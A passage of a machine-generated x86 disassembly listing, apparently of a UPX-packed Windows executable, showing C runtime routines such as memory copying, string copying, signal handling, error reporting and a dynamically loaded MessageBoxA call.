0Ch jnz short loc_4132ED push [ebp+var_43C] lea eax, [ebp+var_420] push ebx push 20h call sub_41286E add esp, 0Ch loc_4132ED: ; CODE XREF: sub_4128E7+9EDj push [ebp+var_424] mov edi, [ebp+var_43C] lea eax, [ebp+var_420] lea ecx, [ebp+var_430] call sub_412895 test byte ptr [ebp+var_408], 8 pop ecx jz short loc_41332F test byte ptr [ebp+var_408], 4 jnz short loc_41332F push edi push ebx push 30h lea eax, [ebp+var_420] call sub_41286E add esp, 0Ch loc_41332F: ; CODE XREF: sub_4128E7+A2Bj ; sub_4128E7+A34j cmp [ebp+var_428], 0 jnz short loc_4133AD test esi, esi jle short loc_4133AD mov edi, [ebp+var_410] mov [ebp+var_41C], esi loc_413348: ; CODE XREF: sub_4128E7+AB9j dec [ebp+var_41C] lea eax, [ebp+var_44C] push eax mov eax, [ebp+var_44C] push dword ptr [eax+0ACh] lea eax, [ebp+var_464] push edi push eax call sub_4126C3 add esp, 10h mov [ebp+var_470], eax test eax, eax jle short loc_4133A4 push [ebp+var_464] mov eax, [ebp+var_43C] lea esi, [ebp+var_420] call sub_41283F add edi, [ebp+var_470] cmp [ebp+var_41C], 0 pop ecx jg short loc_413348 jmp short loc_4133C0 ; --------------------------------------------------------------------------- loc_4133A4: ; CODE XREF: sub_4128E7+A92j or [ebp+var_420], 0FFFFFFFFh jmp short loc_4133C0 ; --------------------------------------------------------------------------- loc_4133AD: ; CODE XREF: sub_4128E7+A4Fj ; sub_4128E7+A53j mov ecx, [ebp+var_410] push esi lea eax, [ebp+var_420] call sub_412895 pop ecx loc_4133C0: ; CODE XREF: sub_4128E7+ABBj ; sub_4128E7+AC4j cmp [ebp+var_420], 0 jl short loc_4133E9 test byte ptr [ebp+var_408], 4 jz short loc_4133E9 push [ebp+var_43C] lea eax, [ebp+var_420] push ebx push 20h call sub_41286E add esp, 0Ch loc_4133E9: ; CODE XREF: sub_4128E7+63Cj ; sub_4128E7+997j ... cmp [ebp+var_458], 0 jz short loc_413405 ; default push [ebp+var_458] call sub_40ADC8 and [ebp+var_458], 0 pop ecx loc_413405: ; CODE XREF: sub_4128E7+13Bj ; sub_4128E7+192j ... mov edi, [ebp+var_460] ; default mov ebx, [ebp+var_418] loc_413411: ; CODE XREF: sub_4128E7+175j ; sub_4128E7+19Ej ... movzx eax, word ptr [edi] xor esi, esi mov [ebp+var_41C], eax cmp ax, si jz short loc_413428 mov ecx, eax jmp loc_4129C9 ; --------------------------------------------------------------------------- loc_413428: ; CODE XREF: sub_4128E7+F3j ; sub_4128E7+B38j cmp [ebp+var_434], esi jz short loc_41343D cmp [ebp+var_434], 7 jnz loc_41298D loc_41343D: ; CODE XREF: sub_4128E7+DCj ; sub_4128E7+B47j cmp [ebp+var_440], 0 jz short loc_413450 mov eax, [ebp+var_444] and dword ptr [eax+70h], 0FFFFFFFDh loc_413450: ; CODE XREF: sub_4128E7+B5Dj mov eax, [ebp+var_420] loc_413456: ; CODE XREF: sub_4128E7+9Bj mov ecx, [ebp+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_40AC1C leave retn sub_4128E7 endp ; --------------------------------------------------------------------------- db 8Bh, 0FFh off_413467 dd offset loc_412C37 ; DATA XREF: sub_4128E7+141r dd offset loc_412A2F ; jump table for switch statement dd offset loc_412A61 dd offset loc_412ABC dd offset loc_412B08 dd offset loc_412B14 dd offset loc_412B5A dd offset loc_412C59 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413487 proc near ; CODE XREF: sub_41350E+4Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 mov [ebp+var_4], edi mov [ebp+var_8], esi mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] mov ecx, [ebp+arg_8] shr ecx, 7 jmp short loc_4134A7 ; --------------------------------------------------------------------------- db 8Dh, 9Bh, 4 dup(0) ; --------------------------------------------------------------------------- loc_4134A7: ; CODE XREF: sub_413487+18j ; sub_413487+7Bj movdqa xmm0, oword ptr [esi] movdqa xmm1, oword ptr [esi+10h] movdqa xmm2, oword ptr [esi+20h] movdqa xmm3, oword ptr [esi+30h] movdqa oword ptr [edi], xmm0 movdqa oword ptr [edi+10h], xmm1 movdqa oword ptr [edi+20h], xmm2 movdqa oword ptr [edi+30h], xmm3 movdqa xmm4, oword ptr [esi+40h] movdqa xmm5, oword ptr [esi+50h] movdqa xmm6, oword ptr [esi+60h] movdqa xmm7, oword ptr [esi+70h] movdqa oword ptr [edi+40h], xmm4 movdqa oword ptr [edi+50h], xmm5 movdqa oword ptr [edi+60h], xmm6 movdqa oword ptr [edi+70h], xmm7 lea esi, [esi+80h] lea edi, [edi+80h] dec ecx jnz short loc_4134A7 mov esi, [ebp+var_8] mov edi, [ebp+var_4] mov esp, ebp pop ebp retn sub_413487 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41350E proc near ; CODE XREF: sub_40CA30+42j ; sub_40E710+42j ... var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1Ch mov [ebp+var_C], edi mov [ebp+var_8], esi mov [ebp+var_4], ebx mov ebx, [ebp+arg_4] mov eax, ebx cdq mov ecx, eax mov eax, [ebp+arg_0] xor ecx, edx sub ecx, edx and ecx, 0Fh xor ecx, edx sub ecx, edx cdq mov edi, eax xor edi, edx sub edi, edx and edi, 0Fh xor edi, edx sub edi, edx mov edx, ecx or edx, edi jnz short loc_413591 mov esi, [ebp+arg_8] mov ecx, esi and ecx, 7Fh mov [ebp+var_18], ecx cmp esi, ecx jz short loc_413569 sub esi, ecx push esi push ebx push eax call sub_413487 add esp, 0Ch mov eax, [ebp+arg_0] mov ecx, [ebp+var_18] loc_413569: ; CODE XREF: sub_41350E+46j test ecx, ecx jz short loc_4135E4 mov ebx, [ebp+arg_8] mov edx, [ebp+arg_4] add edx, ebx sub edx, ecx mov [ebp+var_14], edx add ebx, eax sub ebx, ecx mov [ebp+var_10], ebx mov esi, [ebp+var_14] mov edi, [ebp+var_10] mov ecx, [ebp+var_18] rep movsb mov eax, [ebp+arg_0] jmp short loc_4135E4 ; --------------------------------------------------------------------------- loc_413591: ; CODE XREF: sub_41350E+37j cmp ecx, edi jnz short loc_4135CA neg ecx add ecx, 10h mov [ebp+var_1C], ecx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] mov ecx, [ebp+var_1C] rep movsb mov ecx, [ebp+arg_0] add ecx, [ebp+var_1C] mov edx, [ebp+arg_4] add edx, [ebp+var_1C] mov eax, [ebp+arg_8] sub eax, [ebp+var_1C] push eax push edx push ecx call sub_41350E add esp, 0Ch mov eax, [ebp+arg_0] jmp short loc_4135E4 ; --------------------------------------------------------------------------- loc_4135CA: ; CODE XREF: sub_41350E+85j mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] mov ecx, [ebp+arg_8] mov edx, ecx shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov eax, [ebp+arg_0] loc_4135E4: ; CODE XREF: sub_41350E+5Dj ; sub_41350E+81j ... mov ebx, [ebp+var_4] mov esi, [ebp+var_8] mov edi, [ebp+var_C] mov esp, ebp pop ebp retn sub_41350E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4135F1 proc near ; CODE XREF: sub_40DD8A+11p arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp mov eax, [ebp+arg_0] mov dword_42ED44, eax pop ebp retn sub_4135F1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413600 proc near ; CODE XREF: sub_40CE2D+28p ; sub_40CEE6+78p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push 10h push offset dword_426C50 call __SEH_prolog4 and [ebp+ms_exc.disabled], 0 push [ebp+arg_4] push [ebp+arg_0] call dword_41D12C ; InitializeCriticalSectionAndSpinCount mov [ebp+var_1C], eax jmp short loc_413650 ; --------------------------------------------------------------------------- mov eax, [ebp+ms_exc.exc_ptr] mov eax, [eax] mov eax, [eax] mov [ebp+var_20], eax xor ecx, ecx cmp eax, 0C0000017h setz cl mov eax, ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+ms_exc.old_esp] cmp [ebp+var_20], 0C0000017h jnz short loc_41364C push 8 call dword_41D1D0 ; RtlSetLastWin32Error loc_41364C: ; CODE XREF: sub_413600+42j and [ebp+var_1C], 0 loc_413650: ; CODE XREF: sub_413600+1Fj mov [ebp+ms_exc.disabled], 0FFFFFFFEh mov eax, [ebp+var_1C] call __SEH_epilog4 retn sub_413600 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413660 proc near ; CODE XREF: sub_40DD8A+29p arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp mov eax, [ebp+arg_0] mov dword_42ED48, eax mov dword_42ED4C, eax mov dword_42ED50, eax mov dword_42ED54, eax pop ebp retn sub_413660 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41367E proc near ; CODE XREF: sub_4136C2+5Ap arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, dword_42A3DC push esi loc_41368D: ; CODE XREF: sub_41367E+21j cmp [eax+4], edx jz short loc_4136A1 mov esi, ecx imul esi, 0Ch add esi, [ebp+arg_0] add eax, 0Ch cmp eax, esi jb short loc_41368D loc_4136A1: ; CODE XREF: sub_41367E+12j imul ecx, 0Ch add ecx, [ebp+arg_0] pop esi cmp eax, ecx jnb short loc_4136B1 cmp [eax+4], edx jz short loc_4136B3 loc_4136B1: ; CODE XREF: sub_41367E+2Cj xor eax, eax loc_4136B3: ; CODE XREF: sub_41367E+31j pop ebp retn sub_41367E endp ; =============== S U B R O U T I N E ======================================= sub_4136B5 proc near ; CODE XREF: sub_413B6D:loc_413B94p push dword_42ED50 call sub_40E143 pop ecx retn sub_4136B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4136C2 proc near ; CODE XREF: sub_413B6D+32p var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 0041386C SIZE 00000006 BYTES push 20h push offset dword_426C70 call __SEH_prolog4 xor edi, edi mov [ebp+var_1C], edi mov [ebp+var_28], edi mov ebx, [ebp+arg_0] cmp ebx, 0Bh jg short loc_41372A jz short loc_4136F5 mov eax, ebx push 2 pop ecx sub eax, ecx jz short loc_41370B sub eax, ecx jz short loc_4136F5 sub eax, ecx jz short loc_413755 sub eax, ecx jnz short loc_413739 loc_4136F5: ; CODE XREF: sub_4136C2+1Cj ; sub_4136C2+29j call sub_40E316 mov edi, eax mov [ebp+var_28], edi test edi, edi jnz short loc_413717 loc_413703: ; CODE XREF: sub_4136C2+91j or eax, 0FFFFFFFFh jmp loc_41386C ; --------------------------------------------------------------------------- loc_41370B: ; CODE XREF: sub_4136C2+25j mov esi, offset dword_42ED48 mov eax, dword_42ED48 jmp short loc_413777 ; --------------------------------------------------------------------------- loc_413717: ; CODE XREF: sub_4136C2+3Fj push dword ptr [edi+5Ch] mov edx, ebx call sub_41367E mov esi, eax add esi, 8 mov eax, [esi] jmp short loc_413784 ; --------------------------------------------------------------------------- loc_41372A: ; CODE XREF: sub_4136C2+1Aj mov eax, ebx sub eax, 0Fh jz short loc_41376D sub eax, 6 jz short loc_413761 dec eax jz short loc_413755 loc_413739: ; CODE XREF: sub_4136C2+31j call sub_40C862 mov dword ptr [eax], 16h xor eax, eax push eax push eax push eax push eax push eax call sub_40B255 add esp, 14h jmp short loc_413703 ; --------------------------------------------------------------------------- loc_413755: ; CODE XREF: sub_4136C2+2Dj ; sub_4136C2+75j mov esi, offset dword_42ED50 mov eax, dword_42ED50 jmp short loc_413777 ; --------------------------------------------------------------------------- loc_413761: ; CODE XREF: sub_4136C2+72j mov esi, offset dword_42ED4C mov eax, dword_42ED4C jmp short loc_413777 ; --------------------------------------------------------------------------- loc_41376D: ; CODE XREF: sub_4136C2+6Dj mov esi, offset dword_42ED54 mov eax, dword_42ED54 loc_413777: ; CODE XREF: sub_4136C2+53j ; sub_4136C2+9Dj ... mov [ebp+var_1C], 1 push eax call sub_40E143 loc_413784: ; CODE XREF: sub_4136C2+66j mov [ebp+var_20], eax pop ecx xor eax, eax cmp [ebp+var_20], 1 jz loc_41386C cmp [ebp+var_20], eax jnz short loc_4137A0 push 3 call sub_40DD56 loc_4137A0: ; CODE XREF: sub_4136C2+D5j cmp [ebp+var_1C], eax jz short loc_4137AC push eax call sub_40CFA9 pop ecx loc_4137AC: ; CODE XREF: sub_4136C2+E1j xor eax, eax mov [ebp+ms_exc.disabled], eax cmp ebx, 8 jz short loc_4137C0 cmp ebx, 0Bh jz short loc_4137C0 cmp ebx, 4 jnz short loc_4137DB loc_4137C0: ; CODE XREF: sub_4136C2+F2j ; sub_4136C2+F7j mov ecx, [edi+60h] mov [ebp+var_2C], ecx mov [edi+60h], eax cmp ebx, 8 jnz short loc_41380E mov ecx, [edi+64h] mov [ebp+var_30], ecx mov dword ptr [edi+64h], 8Ch loc_4137DB: ; CODE XREF: sub_4136C2+FCj cmp ebx, 8 jnz short loc_41380E mov ecx, dword_42A3D0 mov [ebp+var_24], ecx loc_4137E9: ; CODE XREF: sub_4136C2+14Aj mov ecx, dword_42A3D4 mov edx, dword_42A3D0 add ecx, edx cmp [ebp+var_24], ecx jge short loc_413815 mov ecx, [ebp+var_24] imul ecx, 0Ch mov edx, [edi+5Ch] mov [ecx+edx+8], eax inc [ebp+var_24] jmp short loc_4137E9 ; --------------------------------------------------------------------------- loc_41380E: ; CODE XREF: sub_4136C2+10Aj ; sub_4136C2+11Cj call sub_40E13A mov [esi], eax loc_413815: ; CODE XREF: sub_4136C2+138j mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_413836 cmp ebx, 8 jnz short sub_413845 push dword ptr [edi+64h] push ebx call [ebp+var_20] pop ecx jmp short loc_413849 sub_4136C2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_413830 proc near ; DATA XREF: UPX0:00426C88o mov ebx, [ebp+8] mov edi, [ebp-28h] sub_413830 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_413836 proc near ; CODE XREF: sub_4136C2+15Ap cmp dword ptr [ebp-1Ch], 0 jz short locret_413844 push 0 call sub_40CECF pop ecx locret_413844: ; CODE XREF: sub_413836+4j retn sub_413836 endp ; =============== S U B R O U T I N E ======================================= sub_413845 proc near ; CODE XREF: sub_4136C2+162j push ebx call dword ptr [ebp-20h] loc_413849: ; CODE XREF: sub_4136C2+16Cj pop ecx cmp ebx, 8 jz short loc_413859 cmp ebx, 0Bh jz short loc_413859 cmp ebx, 4 jnz short loc_41386A loc_413859: ; CODE XREF: sub_413845+8j ; sub_413845+Dj mov eax, [ebp-2Ch] mov [edi+60h], eax cmp ebx, 8 jnz short loc_41386A mov eax, [ebp-30h] mov [edi+64h], eax loc_41386A: ; CODE XREF: sub_413845+12j ; sub_413845+1Dj xor eax, eax sub_413845 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_4136C2 loc_41386C: ; CODE XREF: sub_4136C2+44j ; sub_4136C2+CCj call __SEH_epilog4 retn ; END OF FUNCTION CHUNK FOR sub_4136C2 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413872 proc near ; CODE XREF: sub_40DD8A+23p arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp mov eax, [ebp+arg_0] mov dword_42ED5C, eax pop ebp retn sub_413872 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413881 proc near ; CODE XREF: sub_40DD8A+1Dp arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp mov eax, [ebp+arg_0] mov dword_42ED68, eax pop ebp retn sub_413881 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413890 proc near ; CODE XREF: sub_40DDD8+16Ap var_24 = dword ptr -24h var_14 = byte ptr -14h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h mov edi, edi push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi call sub_40E13A and [ebp+var_4], 0 cmp dword_42ED6C, 0 mov ebx, eax jnz loc_413941 push offset aUser32_dll ; "USER32.DLL" call dword_41D0DC ; LoadLibraryA mov edi, eax test edi, edi jz loc_4139F2 mov esi, dword_41D0D8 push offset aMessageboxa ; "MessageBoxA" push edi call esi ; dword_41D0D8 test eax, eax jz loc_4139F2 push eax call sub_40E0C8 mov [esp+24h+var_24], offset aGetactivewindo ; "GetActiveWindow" push edi mov dword_42ED6C, eax call esi ; dword_41D0D8 push eax call sub_40E0C8 mov [esp+24h+var_24], offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_42ED70, eax call esi ; dword_41D0D8 push eax call sub_40E0C8 mov [esp+24h+var_24], offset aGetuserobjecti ; "GetUserObjectInformationA" push edi mov dword_42ED74, eax call esi ; dword_41D0D8 push eax call sub_40E0C8 pop ecx mov dword_42ED7C, eax test eax, eax jz short loc_413941 push offset aGetprocesswind ; "GetProcessWindowStation" push edi call esi ; dword_41D0D8 push eax call sub_40E0C8 pop ecx mov dword_42ED78, eax loc_413941: ; CODE XREF: sub_413890+1Dj ; sub_413890+9Bj mov eax, dword_42ED78 cmp eax, ebx jz short loc_413999 cmp dword_42ED7C, ebx jz short loc_413999 push eax call sub_40E143 push dword_42ED7C mov esi, eax call sub_40E143 pop ecx pop ecx mov edi, eax test esi, esi jz short loc_413999 test edi, edi jz short loc_413999 call esi ; GetProcAddress test eax, eax jz short loc_413990 lea ecx, [ebp+var_8] push ecx push 0Ch lea ecx, [ebp+var_14] push ecx push 1 push eax call edi ; InterlockedIncrement test eax, eax jz short loc_413990 test [ebp+var_C], 1 jnz short loc_413999 loc_413990: ; CODE XREF: sub_413890+E5j ; sub_413890+F8j or [ebp+arg_8], 200000h jmp short loc_4139D2 ; --------------------------------------------------------------------------- loc_413999: ; CODE XREF: sub_413890+B8j ; sub_413890+C0j ... mov eax, dword_42ED70 cmp eax, ebx jz short loc_4139D2 push eax call sub_40E143 pop ecx test eax, eax jz short loc_4139D2 call eax ; dword_42ED70 mov [ebp+var_4], eax test eax, eax jz short loc_4139D2 mov eax, dword_42ED74 cmp eax, ebx jz short loc_4139D2 push eax call sub_40E143 pop ecx test eax, eax jz short loc_4139D2 push [ebp+var_4] call eax ; dword_42ED74 mov [ebp+var_4], eax loc_4139D2: ; CODE XREF: sub_413890+107j ; sub_413890+110j ... push dword_42ED6C call sub_40E143 pop ecx test eax, eax jz short loc_4139F2 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push [ebp+var_4] call eax ; dword_42ED78 jmp short loc_4139F4 ; --------------------------------------------------------------------------- loc_4139F2: ; CODE XREF: sub_413890+32j ; sub_413890+48j ... xor eax, eax loc_4139F4: ; CODE XREF: sub_413890+160j pop edi pop esi pop ebx leave retn sub_413890 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4139F9 proc near ; CODE XREF: sub_40DDD8+121p ; sub_40DDD8+146p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h mov edi, edi push ebp mov ebp, esp mov eax, [ebp+arg_0] push ebx xor ebx, ebx push esi push edi cmp eax, ebx jz short loc_413A11 mov edi, [ebp+arg_4] cmp edi, ebx ja short loc_413A2C loc_413A11: ; CODE XREF: sub_4139F9+Fj ; sub_4139F9+3Cj call sub_40C862 push 16h pop esi mov [eax], esi loc_413A1B: ; CODE XREF: sub_4139F9+6Bj push ebx push ebx push ebx push ebx push ebx call sub_40B255 add esp, 14h mov eax, esi jmp short loc_413A68 ; --------------------------------------------------------------------------- loc_413A2C: ; CODE XREF: sub_4139F9+16j mov esi, [ebp+arg_8] cmp esi, ebx jnz short loc_413A37 loc_413A33: ; CODE XREF: sub_4139F9+4Aj mov [eax], bl jmp short loc_413A11 ; --------------------------------------------------------------------------- loc_413A37: ; CODE XREF: sub_4139F9+38j mov edx, eax loc_413A39: ; CODE XREF: sub_4139F9+46j cmp [edx], bl jz short loc_413A41 inc edx dec edi jnz short loc_413A39 loc_413A41: ; CODE XREF: sub_4139F9+42j cmp edi, ebx jz short loc_413A33 loc_413A45: ; CODE XREF: sub_4139F9+57j mov cl, [esi] mov [edx], cl inc edx inc esi cmp cl, bl jz short loc_413A52 dec edi jnz short loc_413A45 loc_413A52: ; CODE XREF: sub_4139F9+54j cmp edi, ebx jnz short loc_413A66 mov [eax], bl call sub_40C862 push 22h pop ecx mov [eax], ecx mov esi, ecx jmp short loc_413A1B ; --------------------------------------------------------------------------- loc_413A66: ; CODE XREF: sub_4139F9+5Bj xor eax, eax loc_413A68: ; CODE XREF: sub_4139F9+31j pop edi pop esi pop ebx pop ebp retn sub_4139F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413A6D proc near ; CODE XREF: sub_40DDD8+FBp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h mov edi, edi push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_0] xor ebx, ebx push edi cmp [ebp+arg_C], ebx jnz short loc_413A8F cmp esi, ebx jnz short loc_413A93 cmp [ebp+arg_4], ebx jnz short loc_413A9A loc_413A88: ; CODE XREF: sub_413A6D+4Fj ; sub_413A6D+8Ej xor eax, eax loc_413A8A: ; CODE XREF: sub_413A6D+46j ; sub_413A6D+A0j pop edi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_413A8F: ; CODE XREF: sub_413A6D+10j cmp esi, ebx jz short loc_413A9A loc_413A93: ; CODE XREF: sub_413A6D+14j mov edi, [ebp+arg_4] cmp edi, ebx ja short loc_413AB5 loc_413A9A: ; CODE XREF: sub_413A6D+19j ; sub_413A6D+24j ... call sub_40C862 push 16h pop esi mov [eax], esi loc_413AA4: ; CODE XREF: sub_413A6D+B3j push ebx push ebx push ebx push ebx push ebx call sub_40B255 add esp, 14h mov eax, esi jmp short loc_413A8A ; --------------------------------------------------------------------------- loc_413AB5: ; CODE XREF: sub_413A6D+2Bj cmp [ebp+arg_C], ebx jnz short loc_413ABE mov [esi], bl jmp short loc_413A88 ; --------------------------------------------------------------------------- loc_413ABE: ; CODE XREF: sub_413A6D+4Bj mov edx, [ebp+arg_8] cmp edx, ebx jnz short loc_413AC9 mov [esi], bl jmp short loc_413A9A ; --------------------------------------------------------------------------- loc_413AC9: ; CODE XREF: sub_413A6D+56j cmp [ebp+arg_C], 0FFFFFFFFh mov eax, esi jnz short loc_413AE0 loc_413AD1: ; CODE XREF: sub_413A6D+6Fj mov cl, [edx] mov [eax], cl inc eax inc edx cmp cl, bl jz short loc_413AF9 dec edi jnz short loc_413AD1 jmp short loc_413AF9 ; --------------------------------------------------------------------------- loc_413AE0: ; CODE XREF: sub_413A6D+62j ; sub_413A6D+83j mov cl, [edx] mov [eax], cl inc eax inc edx cmp cl, bl jz short loc_413AF2 dec edi jz short loc_413AF2 dec [ebp+arg_C] jnz short loc_413AE0 loc_413AF2: ; CODE XREF: sub_413A6D+7Bj ; sub_413A6D+7Ej cmp [ebp+arg_C], ebx jnz short loc_413AF9 mov [eax], bl loc_413AF9: ; CODE XREF: sub_413A6D+6Cj ; sub_413A6D+71j ... cmp edi, ebx jnz short loc_413A88 cmp [ebp+arg_C], 0FFFFFFFFh jnz short loc_413B12 mov eax, [ebp+arg_4] push 50h mov [esi+eax-1], bl pop eax jmp loc_413A8A ; --------------------------------------------------------------------------- loc_413B12: ; CODE XREF: sub_413A6D+94j mov [esi], bl call sub_40C862 push 22h pop ecx mov [eax], ecx mov esi, ecx jmp short loc_413AA4 sub_413A6D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413B22 proc near ; CODE XREF: sub_40DDD8+31p ; sub_40DDD8+42p ... arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp mov ecx, [ebp+arg_0] push esi xor esi, esi cmp ecx, esi jl short loc_413B4F cmp ecx, 2 jle short loc_413B42 cmp ecx, 3 jnz short loc_413B4F mov eax, dword_42E3F8 jmp short loc_413B6A ; --------------------------------------------------------------------------- loc_413B42: ; CODE XREF: sub_413B22+12j mov eax, dword_42E3F8 mov dword_42E3F8, ecx jmp short loc_413B6A ; --------------------------------------------------------------------------- loc_413B4F: ; CODE XREF: sub_413B22+Dj ; sub_413B22+17j call sub_40C862 push esi push esi push esi push esi push esi mov dword ptr [eax], 16h call sub_40B255 add esp, 14h or eax, 0FFFFFFFFh loc_413B6A: ; CODE XREF: sub_413B22+1Ej ; sub_413B22+2Bj pop esi pop ebp retn sub_413B22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413B6D proc near ; CODE XREF: sub_40E02B:loc_40E059p var_328 = dword ptr -328h var_31C = dword ptr -31Ch var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_244 = word ptr -244h var_240 = word ptr -240h var_23C = word ptr -23Ch var_238 = word ptr -238h var_234 = dword ptr -234h var_230 = dword ptr -230h var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_214 = word ptr -214h var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = word ptr -208h var_4 = dword ptr -4 mov edi, edi push ebp mov ebp, esp sub esp, 328h mov eax, dword_42A034 xor eax, ebp mov [ebp+var_4], eax test byte_42AD18, 1 push esi jz short loc_413B94 push 0Ah call sub_40DDD8 pop ecx loc_413B94: ; CODE XREF: sub_413B6D+1Dj call sub_4136B5 test eax, eax jz short loc_413BA5 push 16h call sub_4136C2 pop ecx loc_413BA5: ; CODE XREF: sub_413B6D+2Ej test byte_42AD18, 2 jz loc_413C7C mov [ebp+var_220], eax mov [ebp+var_224], ecx mov [ebp+var_228], edx mov [ebp+var_22C], ebx mov [ebp+var_230], esi mov [ebp+var_234], edi mov [ebp+var_208], ss mov [ebp+var_214], cs mov [ebp+var_238], ds mov [ebp+var_23C], es mov [ebp+var_240], fs mov [ebp+var_244], gs pushf pop [ebp+var_210] mov esi, [ebp+4] lea eax, [ebp+4] mov [ebp+var_20C], eax mov [ebp+var_2D0], 10001h mov [ebp+var_218], esi mov eax, [eax-4] push 50h mov [ebp+var_21C], eax lea eax, [ebp+var_328] push 0 push eax call sub_40BD40 lea eax, [ebp+var_328] add esp, 0Ch mov [ebp+var_2D8], eax lea eax, [ebp+var_2D0] push 0 mov [ebp+var_328], 40000015h mov [ebp+var_31C], esi mov [ebp+var_2D4], eax call dword_41D1AC ; SetUnhandledExceptionFilter lea eax, [ebp+var_2D8] push eax call dword_41D1B0 ; UnhandledExceptionFilter loc_413C7C: ; CODE XREF: sub_413B6D+3Fj push 3 call sub_40DD56 int 3 ; Trap to Debugger sub_413B6D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413C84 proc near ; CODE XREF: sub_40EC96+5Ap var_68 = dword ptr -68h var_36 = word ptr -36h var_34 = dword ptr -34h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h mov edi, edi push ebp mov ebp, esp sub esp, 68h mov eax, [ebp+arg_0] push ebx xor ebx, ebx push edi mov [ebp+var_C], ebx mov [ebp+var_1], bl cmp eax, ebx jz short loc_413CB2 cmp eax, 1 jz short loc_413CB2 jle short loc_413CBA cmp eax, 3 jle short loc_413CB2 cmp eax, 4 jnz short loc_413CBA mov [ebp+var_1], 1 loc_413CB2: ; CODE XREF: sub_413C84+17j ; sub_413C84+1Cj ... mov eax, [ebp+arg_8] mov [ebp+var_10], eax jmp short loc_413CF2 ; --------------------------------------------------------------------------- loc_413CBA: ; CODE XREF: sub_413C84+1Ej ; sub_413C84+28j call sub_40C875 mov [eax], ebx call sub_40C862 push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_40B255 add esp, 14h or eax, 0FFFFFFFFh jmp loc_413E8F ; --------------------------------------------------------------------------- loc_413CE1: ; CODE XREF: sub_413C84+60j ; sub_413C84+70j inc eax cmp [eax], bl jnz short loc_413CE1 lea ecx, [eax+1] cmp [ecx], bl jz short loc_413CF2 mov byte ptr [eax], 20h mov eax, ecx loc_413CF2: ; CODE XREF: sub_413C84+34j ; sub_413C84+67j cmp [eax], bl jnz short loc_413CE1 push esi push 44h pop esi push esi lea eax, [ebp+var_68] push ebx push eax call sub_40BD40 mov [ebp+var_68], esi mov esi, dword_430148 add esp, 0Ch cmp esi, ebx jz short loc_413D40 lea eax, [esi-1] loc_413D18: ; CODE XREF: sub_413C84+B2j mov ecx, eax mov edx, eax sar ecx, 5 mov ecx, dword_430160[ecx*4] and edx, 